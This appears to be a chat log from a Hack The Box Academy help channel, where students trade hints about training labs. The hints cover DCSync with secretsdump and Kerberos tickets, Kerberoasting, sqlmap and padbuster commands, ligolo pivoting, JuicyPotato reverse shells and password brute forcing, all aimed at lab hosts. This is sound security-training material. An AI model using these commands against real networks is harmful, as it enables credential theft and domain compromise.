modules

[next bronze]

with secretsdump

where

[heavy marsh]

I thought this was the command for dcsync

[severe arrow]

Here is some additional information

Script Output

Token Req Status: <Response [200]>
Request Date: Thu, 25 Jan 2024 02:43:44 GMT
Dt Object: 2024-01-25 02:43:44
Time Stamp Request Tranlated: 1706175824000
System Time: 1706150624000

Sample Code of the Time Conversion
data = {"submit": "htbuser"}
date = requests.post(url, data)

dt_object = datetime.strptime(str(date.headers["Date"]), "%a, %d %b %Y %H:%M:%S %Z")

print("Token Req Status:", date)
print("Request Date:", str(date.headers["Date"]))
print("Dt Object:", dt_object)
print("Time Stamp Request Tranlated:", int(dt_object.timestamp()) * 1000)
print("System Time:", int(time()) * 1000)
exit()

[next bronze]

secretsdump can also dcsync, read the section again

[heavy marsh]

Tried

[next bronze]

https://tenor.com/view/jddjxj-dmndnd-head-smash-gif-17979724

[heavy marsh]

What is the DRSUAPI approach?

[severe arrow]

😦 feel that

[next bronze]

think about which machine you should be targeting and what credentials you should use

[next bronze]

no not @ you

[next bronze]

idk how you're passing the timestamp to your script but it should be something like dt_now = datetime.strptime(timestamp, "%Y-%m-%d %I:%M:%S%p")

[severe arrow]

Nah just in general your getting slammed

Hmmm aight bet! Thanks for the help!

[heavy marsh]

This didn't work either

🤦‍♂️ use VSS, wait don't use VSS it's not supported

lol

[next bronze]

you're literately targeting the same machine with the same creds, you're not listening

think about which machine you should be targeting and what credentials you should use

[heavy marsh]

What machine should I be targeting?

[next bronze]

... that's what I'm asking you

what's the target for raisechild.py

[heavy marsh]

the logistics.inlanefreight.local

[next bronze]

there's literately a -target-exec argument

[heavy marsh]

All that gave me was the admin hash

[next bronze]

as I've said, use the admin hash to dcsync

[heavy marsh]

Do I crack the hash first?

Or is this a PTH?

[analog dock]

What module are you doing

[next bronze]

https://tenor.com/view/tom-and-jerry-soul-leaving-body-spirit-gif-14581897

[heavy marsh]

I am super confused, I followed along and performed the module all the way to the end and I have no idea what's going on now

[next bronze]

child to parent compromise from linux

[analog dock]

I see xreous already told you to use secretsdump

[next bronze]

the problem is you're only following the steps without understanding what they're doing

[analog dock]

I just opened the section and it’s literally the first thing I see

[heavy marsh]

So how do I dcsync with that hash?

I thought dcsync gives me the hash.

[analog dock]

Have you tried googling?

Or checking the switches on secretsdump?

[next bronze]

which is also given in the dcsync section

secretsdump.py -h

[heavy marsh]

This is what I found from the previous DCSync section

[analog dock]

Kali on my windows machine just has impacket-secretsdump before you ask where secretsdump.py is

[analog dock]

Mate

[analog dock]

Do this command

And see how the tool works

Blindly copy pasting stuff won’t get you anywhere

Output of that command literally has an authentication section

[heavy marsh]

Okay, so I googled it as suggeste and found this

[analog dock]

You have a Kerberos ticket?

[heavy marsh]

Not sure why that would work though

Yeah I already got the ticket with ticketer.py

[analog dock]

-k uses Kerberos authentication

[heavy marsh]

I don't understand how this breaks down:

secretsdump.py [e-mail] -k -no-pass -just-dc-ntlm -just-dc-user bross

where does the hacker username come from? what is academy-ea-dc01.inlanefreight.local?

[next bronze]

help me god

[analog dock]

You could also have used the -hashes switch with the ntlm hash

[analog dock]

[limber river]

error: a tunnel is already using this interface name. Please use a different name using the --tun option
anyone here know how to solve this ? (ligolo)

[heavy marsh]

But where does the hacker username and dc01.inlanereight.local come in?

[analog dock]

Seems you already have it set up?

[limber river]

yeah , the problem , when I try to double pivot

[heavy marsh]

So what would that command have looked like?

[limber river]

I got the session but can't start it

[analog dock]

Did you read the section?

[next bronze]

make a new interface first
ip tuntap add user <user> mode tun <AnyName>
ip link set <AnyName> up
then start --tun <AnyName>

it's the new multi tunnel feature for ligolo

[limber river]

should I make new interface with each session ?

[next bronze]

if you want to have multiple tunnels then yes

[analog dock]

Didn’t know that

[next bronze]

or you can stop your current tunnel and connect to the new one, apparently that also works

[heavy marsh]

Yes

The section uses LOGISTICS.INLANEFREIGHT.LOCAL

[limber river]

I can't if I stop the session , I lose connection with the target

[analog dock]

Is there an article about it? Or mentioned on their GitHub

[next bronze]

apparently not I've been told, before the update that's what it does except is automatic

[fathom pendant]

if you connect to the second session and start a new session: you're able to reconnect

[next bronze]

yeah it's on github

[heavy marsh]

This didn't work with the hash

[fathom pendant]

you still technically are connected to both sessions: it's just stupid

[analog dock]

Alright, thanks

[heavy marsh]

Back to the use vss error

So what am I doing wrong with the command?

[next bronze]

yeah stop just mean stop the tunnels, not the agent on the other side

[fathom pendant]

^

but if you want multiple tunnels: you can create multiple interfaces

[analog dock]

Did you read what format it wants?

[next bronze]

and the target is also wrong

[heavy marsh]

I tried with and without quotes

[fathom pendant]

the old automatic switch method would stop the old tunnel and start a new tunnel ¯_(ツ)_/¯

[analog dock]

[limber river]

nice it seems like connect with 1000s of networks at the same time

[next bronze]

why are you targeting .240???

[heavy marsh]

yeah, they only want the hash

[heavy marsh]

What should I be targeting?

[analog dock]

What are you targeting with a dcsync attack?

[fathom pendant]

i wonder what device would be more ideal

[next bronze]

hammer

[heavy marsh]

Domain controller?

[analog dock]

So?

[next bronze]

target the flipping domain controller of the parent domain

[heavy marsh]

Should it be 172.16.5.5?

[fathom pendant]

Try and see

[analog dock]

And here we see a wild xreous, slowly losing his temper

[heavy marsh]

Oh my GOD it WORKED!

[analog dock]

Who would’ve thought

[heavy marsh]

I have no idea what that other command I used first from my google search was doing, but now I kind of understand what I did.

Don't understand the difference between the two IPs though

[analog dock]

Uhh

[heavy marsh]

It only gave me the machine IP for the question, so I'm just assuming based on the ones they used in the examples on the section

[fathom pendant]

one is the domain controller, the other is not

[analog dock]

I think you should go back to the start of the ad module tbh

[next bronze]

no both is, just two domains and two DCs

[fathom pendant]

in the module as a whole- whenever you had to target the DC, it was with the 172.16.5.5 IP

[fathom pendant]

well yes, but most of the attacks were on the .5

[next bronze]

yeah .5 is the right target, .240 is the child domain DC which doesn't have the user needed to answer the question

[heavy marsh]

Seems like there's no rhyme or reason to this

So then why would the logistics.inlanefreight.local not work?

[halcyon wing]

Hey! Anyone free to help me out with the Logrotate part of the Linux Privilege Escalation module? I'll explain what I've done so far in pm to not spoil to others 🙂

[analog dock]

Is that the name of the child domain?

[heavy marsh]

I have no idea, wish there was a map

I'm assuming it's the child domain

Domain controller, then inlanefreight.local, then logistics.inlanefreight.local

at least that's how I have it mapped in my head

[analog dock]

Go back and read the domain trust primer section

[fathom pendant]

you can create a network map/write one down

[heavy marsh]

So why does it not work with logistics.inlanefreight.local?

That's where I got the hash

[fair pewter]

can someone explain to me how to ssh in htb academy?

[fathom pendant]

ssh user@ip
prompt for password: [ctrl+shift+v] (Paste the password provided here

it's a security feature that it doesn't show as you type

[fair pewter]

tysm

[fathom pendant]

it's basics

[fair pewter]

im noob xd

[fathom pendant]

i'm aware ¯_(ツ)_/¯

you can also use google; if google doesn't help then you can ask here. Learning how to do your own research will improve your odds of retaining knowledge

[fair pewter]

i was searching in google but i didnt find anything

[fathom pendant]

because your search was too narrow

"how to ssh"

[fair pewter]

nah hahaha

[fathom pendant]

would have been better :)

if you add things like "in htbacademy" you'll likely run into a bunch of random forum posts unrelated to your query

[snow ridge]

Question regarding Windows Privilege escalation skills assesment part 1.

||So I managed to get SYSTEM level reverse shell using JuicyPotato, but it took a long time because I was trying to use nc64.exe instead of nc.exe which is propably 32bit? Why didn't the nc64.exe work? I spent like 2 hours figuring that priv esc and the answer was that I was using wrong version of nc. I just wanna know why that happened||

[fathom pendant]

If the system is 32 bit, a 64 bit won't work

[snow ridge]

@fathom pendant This is from sysinfo: System Type: x64-based PC

[fathom pendant]

You cam run 32 on a 64 but you can't run 64 on a 32

¯_(ツ)_/¯

Could also be limitations

[snow ridge]

Guess I'll just try both versions in the future if the first one wont work

Just to be sure

[fathom pendant]

32 bit is usually the safer bet

[snow ridge]

Okay I'll keep that in mind

[next bronze]

nc64 should work, maybe you got a broken version

[snow ridge]

Yeah I redownloaded it and my original version seems to be broken. Now it worked with 64bit version too. Thanks, should have checked this much earlier but better learn later than never

[rustic sage]

IP in the modules isn’t refreshing. I also cannot access target. I have submitted a ticket. Anyone else having issues?

[calm tapir]

Is anyone available for a dm? I've been stuck on Password Attack Lab - Hard for 2 days now and I've tried the recommendations given but still no progress.

[undone narwhal]

What did you try so far?

[calm tapir]

Crackmapexec, msf6 smb login, and hydra for user|| johanna using the mutated list. Tried for smb, rdp and winrm.||

[undone narwhal]

||Mutated list|| should work try again

[calm tapir]

I've tried it several times over the past few days with cme on smb, winrm and rdp and the brute force just goes on for hours.

[storm hedge]

Hello,
I have a question related to SMB null sessions on a domain joined computer.
Will this allow us to enumerate users, groups?

[calm tapir]

Any other recommendations?

[next bronze]

you can rid brute iirc, but can't query a list of users/groups

[undone narwhal]

check your DMs

[storm hedge]

@next bronze oh ok, thanks a lot
Since it worked on a domain controller, I thought it would be doable as well on a domain joined host

[plucky latch]

OK this is going to be a long one and any help that can be offered will be greatly appreciated. On 3rd day of struggling with this. On the Active Directory Enumeration and Attacks Skill Assessment Part 1 || On Webshell I uploaded my mimikatz and rev shell using web shell. I then ran "setspn -Q MSSQLSvc/SQL01.inlanefreight.local:1433" got "existing SPN Found", I then activate my rev shell through metasploit and when running mimikatz I get tickets for 4-40a50000-web-win01$@LDAP~DC01.INLANEFREIGHT.LOCAL and not for svc_sql , so confused on what I am doing wrong || I will delete this once I get an answer, thanks, after 10+ hours I am at my wits end

[next bronze]

which question is that and what are you trying to do

[plucky latch]

"Kerberoast an account with the SPN MSSQLSvc/SQL01.inlanefreight.local:1433 and submit the account name as your answer" I got the account name, just failing in Kerberoasting part, not finding them in memory even after using setspn

[next bronze]

you want to use the manual method? did you run New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken ...?

but seriously, just use automated tools like powerview/rubeus/impacket/netexec, any of these will get you want you want

[snow zodiac]

hey can i ask some questions to any of you here in dms its about msfconsole

[potent thorn]

Hello. Can anyone help me with the footprinting module, DNS section. I'm on the last questions. I completed all the other questions using zone transfers to get the info. now im on What is the FQDN of the host where the last octet ends with "x.x.x.203"? but I dont see any 203 octets in my results.

The hint seems to suggest i use a tool like dnsenum, ive tried most of the wordlists in SecLists/Discover/DNS and still getting nothing back with a 203 octet.

Any ideas?

[upper haven]

DM me

[cedar void]

Not sure what I am doing wrong:

" Log in to the ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL Domain Controller using the Domain Admin account password submitted for question #2 and submit the contents of the flag.txt file on the Administrator desktop. "

The command I executed :

||"bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u [e-mail] -p pabloPICASSO||"
https://academy.hackthebox.com/module/143/section/1509

[marble raft]

Have you tried to bruteforce any of the subdomains to see if you get any results?

[next bronze]

did you pivot

the DC looks to be in an internal network

[cedar void]

Nope. Would I pivot with this address?

[next bronze]

ah then no need, can you ping the target?

[cedar void]

yes . \

[next bronze]

try running bloodhound-python with -ns <ip>

[next bronze]

wait what

aren't you pinging yourself

[marble raft]

The attack host is already on the same network as the targets if i'm not mistaken

it looks more like a problem with the pwnbox itself, have you tried resetting it?

[rustic sage]

The target ips are down anyone else. ???

Sent this to support and no reply

[rustic sage]

I’m down too idk what is going on over there

[marble raft]

Welcome to HackTheBox Academy! It depends on your goals to be honest. What you aim to use academy for? If you're into pentesting you should go the CPTS path, if you're into bug bounty go CBBH path

[cedar void]

so possibly reset the pawn IP box , ssh't into pawn IP box(which is the attack IP) and run that blood hound command again)>

[rustic sage]

I’ve done all of that and use multiple browsers deleted my cash and everything it is 100% something on their end that is messing up

[potent thorn]

yes I have and I only get x3 subdomains back none of which are 203 octet

[frigid marlin]

i'm thinking to study just the modules

[next bronze]

did you try running it with -ns <dc-ip>

[marble raft]

Maybe change the wordlist? Remember the hint, you're on the right track

[marble raft]

Yeah but what do you aim to study, i mean which topics? I would suggest to get a student membership also, really a steal at the price you pay

[potent thorn]

i've tried nearly all the wordlists in SecLists. Do i really need some outside of that?

[frigid marlin]

ok thx bro

[cedar void]

They don't give you the dc-ip(unless dc-ip is the 172 address on the internal attack machine)...only the name of the domain controller(└──╼ $bloodhound-python -d FREIGHTLOGISTICS.LOCAL -dc ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -c All -u [e-mail] -p pabloPICASSO)

[marble raft]

Are you trying in the Discovery/DNS folder? If so, what you're looking for is there. I just checked

[potent thorn]

yh im working my way through them. Ill keep going

[rustic sage]

which browsers

[exotic venture]

Hello Guys I'm new in this server and I have 0 knowledge about hacking. Could anybody guide me what should I do in order to learn the skills?

[rustic sage]

Chrome and edge

Ip doesn’t load with time rate. Ping doesn’t work. Taking ip and curling it doesn’t work, cannot display ip addy via browser

I’ve submitted a ticket about 5 hours ago for some reason they are super slow to respond today.

[rustic sage]

try pinging google

[marble raft]

Sup Climax! Welcome to HackTheBox Academy! What do you aim to learn here?

[next bronze]

ping the fqdn or nslookup

[exotic venture]

Hi I want to learn fundamental knowledge about hacking

[rustic sage]

Tech support must be off today

[marble raft]

That's cool man, hacking is way harder than tv shows or hollywood makes it to be. Way more frustrating too. But it gets easier, you have to study and learn a lot and that's the hard part, but it does get easier.

I would recommend following the Information Security Foundations path. You can find it here https://academy.hackthebox.com/paths or on the menu on the left side of your screen by going Paths -> Skill Paths

It is made by the following modules

Introduction to Academy
Learning Process
Setting Up
Linux Fundamentals
Windows Fundamentals
Introduction to Windows Command Line
Introduction to Bash Scripting
Introduction to Networking
Intro to Network Traffic Analysis
Introduction to Active Directory
Introduction to Web Applications
Web Requests

After that you can go the CPTS path, CBBH path if you're into web or bug bounty, or go SOC Analyst route if you're into blue team.
I'd recommend a student subscription if you're a student to get the most out of academy.

[exotic venture]

Thank you so much

[rustic sage]

Is there anyone here that works at HTB, or mods that know someone. I submitted a ticket 6 hours ago with no response. What’s going on over there ?

[next bronze]

dude. a day is a reasonable wait time, it's also off office hours for them

[marble raft]

You're welcome, if you have any trouble or get stuck you can ask for help in this channel. Remember to state what you have tried so far, and if possible provide which command you're running or what you're trying to do. Makes it easier for you to get help

[rustic sage]

I see. What time zone

[next bronze]

uk

[exotic venture]

Okay Thank you

[rustic sage]

That makes sense

[next bronze]

eu2 works btw, just spawned a lab with 5 machines

[rustic sage]

I’m on HTB labs

[plucky latch]

I dont think they have 24 hour ops

[rustic sage]

North America

[fathom pendant]

This channel isnt for help or complaints about htb labs my dude, read #welcome on how to access more of the server

[rustic sage]

Thank you

[runic remnant]

Im trying to start the machine in pass the hash thats in password attacks module and it doesnt start, is something wrong with the site or is it me?

[rustic sage]

It’s not just you buddy

[runic remnant]

aight bet, shit been bugging me

[fathom pendant]

Probably just you. But it's likely the site it's been a mess since last seasonal lab dropped

[rustic sage]

I sent a message hours and hours ago

[fathom pendant]

Try changing vpn region

[runic remnant]

ok bet

[fathom pendant]

They're likely handling lots of complaints regarding the issues atm

[rustic sage]

Then, again, my issues from hack the box labs

It’s OK no worries

[fathom pendant]

Similar infra

[rustic sage]

Thank you Marcie appreciate it

It is what it is can’t always be perfect things happen

[fathom pendant]

there's only so many support staff to handle the numerous people complaining about shit breaking ¯_(ツ)_/¯

[rustic sage]

I have to look at the seasonal labs. I’ve been doing the Academy. Haven’t really checked anything else.

[late galleon]

Where do I ask a question if I'm stuck on a question in a module?

[next bronze]

here

[potent thorn]

pretty sure ive tried every one now and still nothing

[fathom pendant]

Go after one of the subdomains that you find with a zone transfer

[marble raft]

DM, and i'll give you a clearer hint

[fathom pendant]

I mean if they enumerated with a zone transfer for a list of subdomains available then the next step is easy ¯_(ツ)_/¯

[late galleon]

I'm on the Linux Fundamentals module. I cannot find where a directory name "mail" is, or what they are talking about in regards to "mail."

[fathom pendant]

env

[late galleon]

@fathom pendant thanks, let me try that

[fathom pendant]

Then look for a variable that would correlate to mail

[late galleon]

Thanks @fathom pendant

[native turtle]

still have problems with spawning target on tunnelling module

🤬

Does anyone have the same problems?

[fathom pendant]

Have you tried changing vpn region?

[potent thorn]

I have the list of sub domains under int****.inlanefreight.htb but running them through dnsenum or trying manual zone transfers all just give errors. Unless I’m doing something wrong syntax wise

[fathom pendant]

I told you. Stop looking at internal

Look at just the base domain

Start there

Just dig axfr inlanefreight.htb @ip

I think I told you the other day when you were struggling. To stop looking there

[potent thorn]

I’ve done this too. Think you’re thinking of someone else. I started this section only today

[fathom pendant]

You've already ruled out internal

So look elsewhere

[potent thorn]

I’m pretty sure I have tried other stuff and dns enum just errors. I’m away from my desk now so I’ll try later

[fathom pendant]

Just gotta be patient, let the command finish before ruling it out

You're likely to get some cannot reverse lookup error or Whatever it says

But if it doesn't stop the command then it's not a fatal error

[fluid basin]

Hey guys in the Pivoting, Tunneling, and Port Forwarding Module I performed the Web Pivot with Rpivot and managed to get the flag through curl, however firefox would not work through proxychains even though I configured it to localhost port 9050. I was wondering if there was a way to fix this

[marble raft]

Strange, when you tried firefox did it give you an error?

Is the proxychains.conf file configured correctly? Did you follow all the examples correctly?

I remember doing this module and things went swimmingly really

[fluid basin]

firefox itself would pull up, but it would just load, however an error would pull up saying the socket was timing out.

I think i mapped proxychains to the correct port, im basing this assumption off the fact that I used proxychains when I curled the page, wouldnt that fail as well if the .conf file was configured incorrectly?

[rustic sage]

Can someone help me with https://academy.hackthebox.com/module/58/section/517 ? I can't seem to get the cookie value for question 2. I've tried python3 sqlmap.py -u http://94.237.54.50:45516/case3.php --cookie="id=*" --flush-session and receive "the parameter is vulnerable" but no flag. If anyone can help I'd appreciate it.

[agile torrent]

you haven't got any retrieval options, try --dump but remove the --flush-session. it caches its results if you don't flush it, and will start data retrieval immediately

[potent thorn]

I got it now thank you for your help.

[rustic sage]

Thank you

GOt it now

[high fern]

Hello, I am needing help with "introduction to bash scripting" in the academy. I am following the material decently, but I can't figure out how to run the bash code in the terminal.

[rustic sage]

like open a terminal and type it?

[high fern]

kindof, it wants me to edit this code, and come up with an answer

#!/bin/bash

Count number of characters in a variable:

echo $variable | wc -c

Variable to encode

var="nef892na9s1p9asn2aJs71nIsm"

for counter in {1..40}
do
var=$(echo $var | base64)
done

but when I copy and paste the code into the terminal, it attempts to run it in a weird way and I get a bunch of errors

[rustic sage]

Right. It should be edited

Try doing " echo "nef892na9s1p9asn2aJs71nIsm" | wc -c"

[halcyon wing]

Hello I'm doing the Linux Privilege Escalation module and I'm having troubles with the Kernel Exploits section. I've complied the exploit code that the module refers to, on the target machine, but when I run it I get an error saying "error: permission denied". I've attempted to exploit it using MSF as well without any success. Anyone willing to give me some input?

[high fern]

is there somewhere that i should be editing the bash code that isnt in the terminal?

[rustic sage]

vim or nano

nano file.txt

or vim file.txt

[high fern]

ah. That is definitely what I was missing.

lol

[rustic sage]

Is it a good idea to use --batch --dump for most uses of sqlmap?

[candid night]

Hey, guys, DNS question. How can I know that I'm fetching data with a zone transfer from a primary dns server and not a secondary? I struggle to destinguish between dns servers, name servers resolvers etc.

[next bronze]

depends, if it's a small db sure, but if it's big and you're using something slow like time based it will take forever. in that case you can query what database and tables are there and dump the specific table

[agile torrent]

yeah def above for --dump. --batch simply takes the default options for any user input sqlmap needs (after the initial command execution obv). i usually keep it on for convenience, the majority of the time you'll want the defaults

only time its annoying is when it auto tries to crack hashes, and its just a bunch of bcrypt ones or something

[umbral fulcrum]

hey guys, do u maybe know if it's possible to use mssqlclient.py with username and it's hash?

and what is the correct syntax

cause I didn't understand from the help ....

[thorn urchin]

yes, its the same format as all impacket scripts

-hashes :<nthash>

[umbral fulcrum]

may I DM?

[thorn urchin]

no just ask here

[thorn urchin]

thats...bizarre

[umbral fulcrum]

is there something I miss?

[thorn urchin]

oh wait

space

-hashes :<hash> not -hashes:<hash>

[fallen moss]

Would I ask for help with the starting point boxes here?

[thorn urchin]

you would not

youd follow directions in #welcome to verify your account and then youll gain access to #starting-point and can ask there

[umbral fulcrum]

thanx

[fallen moss]

thank you!

[thorn urchin]

np and congrats on being able to read you dont know how many people come in asking the similar stuff and freak out when told this isnt the correct place lmao

[rustic sage]

using something like "-T table --dump" for larger DBMSs?

[next bronze]

yep

[rustic sage]

thanks

[lusty hearth]

HTTPs/TLS Attacks
Skills Assessment

I am able to decode the user cookie, but when I try to recreate a plain text cookie I get issues.
command:
||padbuster http://<IP>/admin "<cookie>" 16 -encoding 1 -cookies "user=<cookie>" -usebody -error 'Decryption failed' -plaintext "user=admin"||
Results:
||Encrypted value is: 6a25b6eb723fffd50c12065d2689f6d500000000000000000000000000000000|| Cookie does not work at /token endpoint.

[severe arrow]

Gotta feeling I am going to get roasted for this but I am getting this error when attempting to SSH in Permission denied (publickey).

[soft cedar]

did you give permission to the key?

[severe arrow]

I gave my id_ras 600 and pub 644

rsa*

[soft cedar]

Which module /section
also post the output of your command or the results

[severe arrow]

@soft cedar lol wait ignore me, I have covid currently and am loopy. Its creds for the web server.

[manic onyx]

Damn man is US 1 still not working? Tired of using EU

[rustic sage]

Its on the fritz

[tall zodiac]

heyo just checking that im a dumbass, just trying to start the first part and the walkthrough is in linux, im on windows, please dont tell me I have to get linux

[rustic sage]

just use the pwnbox

[tall zodiac]

Im poor though

[rustic sage]

than you should use a VM

[tall zodiac]

and the guide for that is where?

[rustic sage]

Most of what is covered here and elsewhere regarding this topic is LINUX based

one sec

here you go https://google.com

[tall zodiac]

thanks man

im only an hour into this and want to jump out of a window

The computer experience

[indigo locust]

anyone experiencing issues with spawning Target machine?

[tall zodiac]

Got VM installed

got unbuntu

but it says it doesnt have enough disk space to install the browser

in setting I gave "system" I gave it like 20 gigs cause it wasnt working

@rustic sage

the hell do I do now?

[rustic sage]

huh?

[rustic sage]

??

You should make sure you're installing everything correctly. There is loads of info online to show you how

[tall zodiac]

well I got the ISO set up

it just wont download the browser?

[rustic sage]

idk what to tell you without more info. it's probably online somewhere tho. Anyhow,I don't use ubuntu

[rustic sage]

https://discord.com/channels/473760315293696010/691583669374025802

[tall zodiac]

No Access

[rustic sage]

Why does your about me say you're part of an online terrorist organization? And that I should report you to the admins at once?

[tall zodiac]

Ah wait

[tight mesa]

hi there, anyone else is having some trouble to spawn lab exercises machines?

[cobalt trench]

LMAO

[tall zodiac]

Just found it burried in some dumb setting

anyway gonna scuttle this acount and go off the grid, thanks

[cobalt trench]

Been an issue for a while now. Just give it a couple minutes to spawn

[tight mesa]

I've more than 20 mins spawning Print Operators/WinPrivEsc lab exercise

[real wagon]

Why are these targets taking so long to spawn?!😒

[thorn urchin]

HTB has had issues with spawning lately that have supposedly been fixed but I still see mass people having issues

[tidal hornet]

hi guys
Doing Documentation & Reporting Practice Lab

to access to 172.16.5.5 from target machine, should I do initial foothold for local user? or provided?

I have some users id no password

[real sorrel]

i need help

[cobalt trench]

With what

[real sorrel]

Linux Privilege Escalation Environment Enumeration

I got flag in root folder then i submit but incorrect answer :/

[fathom pendant]

Why are you escalating?

environment enumeration

[real sorrel]

Yes

[fathom pendant]

That wasn't a yes or no question

I was asking why, if you read the question maybe you'll understand why it's wrong

[real sorrel]

Because i found flag.txt in root folder

[fathom pendant]

Read the question. The root flag is for a later part

[real sorrel]

Ops hahahaha

[fathom pendant]

Literally reading a question will help you figure out why you're dumb lol

[cursive cradle]

[ruby whale]

Even though linux priv esc module is tier II you get 100 cubes 🤩

[limber river]

what ? how ?

[topaz holly]

The ipmi cracking in the footprinting section is taking forever. I'm not sure if I'm impatient or if I'm doing it I correctly. The hash is definitely selected as the target and I'm using rockyou. I disabled hashcats potfile too so that the program should stop and display the password.

[topaz holly]

If it ever cracks it ;-;.
I tried googling it too and using na online hash cracker to check if it was an easy one but guess I'll have to wait (?) Minutes/hours until a password matches my hash.

[ruby whale]

😦

[cursive cradle]

[ruby whale]

Maybe an errata?

[limber river]

you are the only one , who had this +100 cubes , i guess

[ruby whale]

I was happy after seeing +100 cubes now I am sad

[ruby whale]

I bought on platinum , for next will gold suffice? for CPTS path

[limber river]

idk , I use student subscription

[ruby whale]

ohk

[tall zodiac]

ok so

like 4 hours in

finally got the vm working

How do I get openvpn to function

[topaz holly]

openvpn vpnfile.ovpn

[tall zodiac]

and where do I download it?

I just need a good guide

[topaz holly]

I believe sudo apt-get install openvpn or something similar. Depends which distro you are using. Now is a good time to practice your Google skills! You're gonna need em.

[tall zodiac]

Yeah I got that far, but its asking for m1

[ruby whale]

sudo *

[agile torrent]

asking for what?

[topaz holly]

^ yeah use sudo

[tall zodiac]

[sudo] password for vm1:

No idea what that means

[topaz holly]

You type in the root password now

You won't see the letters as you type for privacy reasons.

[agile torrent]

what distro did you install? either you would've set it or its the default

[topaz holly]

It just seems he may not know what sudo is. New to Linux.

[agile torrent]

ah mb

[tall zodiac]

ubuntu

[topaz holly]

It's okay though Google will help anyone you're confused too. It can be confusing the first time using sudo and not seeing your letters come up.

[tall zodiac]

Oh wait they dont show up

[cursive cradle]

Fr happened

[tall zodiac]

Got it got it

[cursive cradle]

Had to look

[topaz holly]

Yeah I imagine it's pretty common when you've never used Linux. On windows most people just click run as administrator and click yes.

Probably similar for Mac too. But I'm not a Mac user.

[tall zodiac]

IT WORKED

[cursive cradle]

I was so confused at first glance when tried on VM

[topaz holly]

Connected to the VPN now?

[cursive cradle]

Then saw it was normal

[tall zodiac]

got it installed

[agile torrent]

very nice, now just need to yoink a vpn key and connect to it

[tall zodiac]

got it

[agile torrent]

are you wanting to do academy or starting point?

[tall zodiac]

starting point

no idea what im doing

[topaz holly]

Hey, has anyone completed and possibly has notes on the ipmi section of the footprinting module? This password is not being cracked for the life of anything, I would really appreciate some help.

[tall zodiac]

so wait I got the whole "sudo apt-get" thing, what now?

[agile torrent]

sorry, might've misspoke. if you're completely new to linux, I'd prob recommend the linux fundamentals module on academy first

[cursive cradle]

Academy with information security foundations is too good

[agile torrent]

otherwise starting point is going to be very frustrating

[tall zodiac]

got it......

Yeah but what comes after the sudo apt-get

[agile torrent]

what are you trying to do?

[topaz holly]

The apt-get command only fetches repositories that contain programs and files

[tall zodiac]

Get open vpn working

[agile torrent]

do you have the vpn key?

downloaded from academy?

[tall zodiac]

yeah?the opvn?

[topaz holly]

Fr guys any help with this module section? I've lost my patience cracking this password. I've tried the 10k dictionary and have had rockyou going for about an hour, but only up to a max of 20 mins while I've tried other stuff

[agile torrent]

yeah, awesome

sudo openvpn [path to the ovpn file]

[tall zodiac]

got it

[topaz holly]

The password cracking is the most frustrating.
I'm not ever sure if I have the right wordlist to get it fast, like ofc rockyou is probably going to get it but after an eternity and a half. I let the whole 10k slide and it didn't find the pw.

[agile torrent]

no clue sorry vendetta, im sure someone will pop up eventually whose done it

[topaz holly]

True cracks 10k. Found by using locate pass | grep common.

[agile torrent]

marcies almost always lurking somewhere

[topaz holly]

And alright I appreciate it. That is the most annoying part though is the password cracking, at least in my experience.

In normal pentesting I don't mind of course cause that's part of the process, but here on the modules I feel like it's holding me from progressing.

[agile torrent]

absolutely certain you're supposed to crack that hash?

(this isnt a hint, i have no clue of the module content, just checking)

[tall zodiac]

"Cipher negotiation is disabled since neither P2MP client nor server mode is enabled"

[topaz holly]

Absolutely certain. I got this password hash leaked from the ipmi server and just need to crack it. I used a hash checked and found it was sha1 too to verify.

[agile torrent]

did the module give you a wordlist to use?

[topaz holly]

So yeah it's like I have the password hash, I know how to crack it, but it is taking forever so I'm not sure if there's a better wordlist to use or what.

It did

Let me try to use that. But I think it was for a previous section of the module not related to ipmi

[agile torrent]

mm maybe, afaik modules are very fond of reusing things like that

[topaz holly]

I'll give it a shot and let you know

It's just a list of 100 first names so it's unlikely but we will see

[agile torrent]

is your vm connected to the internet?

[tall zodiac]

uhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh

[agile torrent]

oh yeah prob not then mb

[tall zodiac]

one second

well the browser works and the eithernet works to so

yes

[topaz holly]

Sigh, I cancelled my rockyou scan at try 11k and tried the 101 items from the modules wordlist and no dice ... 😢 That really hurts lmao.

[tall zodiac]

ok so yeah

[topaz holly]

I even used the ipmi_passwords.txt and that didn't work!

[tall zodiac]

we may have been abandonded Vendetta

[topaz holly]

You're fine if you haven't done the module you can't really help. 💀 But Jesus do I want to die rn because of cracking.

[tall zodiac]

We could ping em?

[topaz holly]

What's your problem? Are you connected to the VPN? Are you connected to the Internet?

[tall zodiac]

VM has internet

But "Cipher negotiation is disabled since neither P2MP client nor server mode is enabled"

[topaz holly]

That happens when running your openvpn command?

[tall zodiac]

yep

wait no

[topaz holly]

What command did you run

[tall zodiac]

sudo openvpn [path to the ovpn file]

but with the actualy location

[topaz holly]

What program gave you that error output?

[tall zodiac]

just running that command

"must define TUN/TAP device"

[topaz holly]

It shouldn't say that when you run sudo openvpn file.ovpn

And Jesus I still can't get this hash to crack. 😭

[tall zodiac]

Computers fucking suck

As anyone who has ever done tried to do something not suggested by the manufacturer knows

[tall zodiac]

Ok so wait did that and god "In [CMD-LINE] : 1 : Error opening configuration file: file.opvn"

[topaz holly]

So your path to the file is messed up

Just open a command window in the directory you have the file downloaded, and just use the name and not the path

[tall zodiac]

in the directory where I have the file downloaded?

[next garnet]

help guys... i can nmap nfs and listing some files, but mount doesnt work. it says incorrect mount option specified

[topaz holly]

Yess. Probably in your downloads. Go to your downloads in the file explorer and shit + right click the empty space and click open terminal here

[tall zodiac]

got it

[tall zodiac]

thanks man

[topaz holly]

Working now?

[tall zodiac]

chcekin rn

[topaz holly]

I've still not cracked this password I'm beyond pissed 😂 this is a really shitty situation as Google isn't even really helping me out. The command in the module literally isn't working and many similar commands using hashcat keep giving me problems

[tall zodiac]

Ok so what do I enter now?

tried the early stuff but just got it all jumbled up

WAIT IT WORKED

[manic onyx]

Has anyone else experienced issues with the machine on the LLMNR poisoning from windows section of the AD module? I am about to complete the entire CPTS path and haven't ever been able to RDP successfully to it after actual weeks of intermittent attempts lol.

[tall zodiac]

Ok so yeah it worked

[topaz holly]

